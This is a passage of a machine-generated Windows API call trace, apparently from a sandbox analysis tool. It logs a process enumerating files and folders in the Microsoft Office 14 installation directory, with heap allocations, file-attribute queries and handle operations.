nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0069.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0069.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.679] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.679] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.680] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.680] NtClose (Handle=0xec) returned 0x0 [0069.680] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0069.682] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.682] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="")) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1054928 [0069.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106efd8 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077210 [0069.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.682] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="")) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106eff8 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.683] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="")) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f018 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077318 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="")) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f038 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077420 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="")) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f058 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1077528 [0069.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 1 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x106f078 [0069.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066678 [0069.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 0 [0069.685] GetLastError () returned 0x12 [0069.685] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.685] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="")) returned 1 [0069.685] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea37bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZLIB.ACCDE", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x8f8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZMAIN.ACCDE", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5eaa9fd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xb39000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZTOOL.ACCDE", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x348000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZUSR12.ACCDU", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 1 [0069.686] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4106500, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4106500, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0xbf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTILITY.ACCDA", cAlternateFileName="")) returned 0 [0069.686] GetLastError () returned 0x12 [0069.686] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.686] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.687] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.687] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.687] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0069.687] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0069.687] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0069.687] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.687] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.687] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.687] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x107ba48 [0069.687] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.687] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107ba48) returned 1 [0069.688] NtClose (Handle=0x198) returned 0x0 [0069.688] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10663d0 [0069.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.689] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.689] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0069.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x2e780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAddin.dll", cAlternateFileName="")) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4065b100, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4065b100, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="")) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066700) returned 1 [0069.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066700 [0069.691] RtlFreeHeap (HeapHandle=0xf70000, 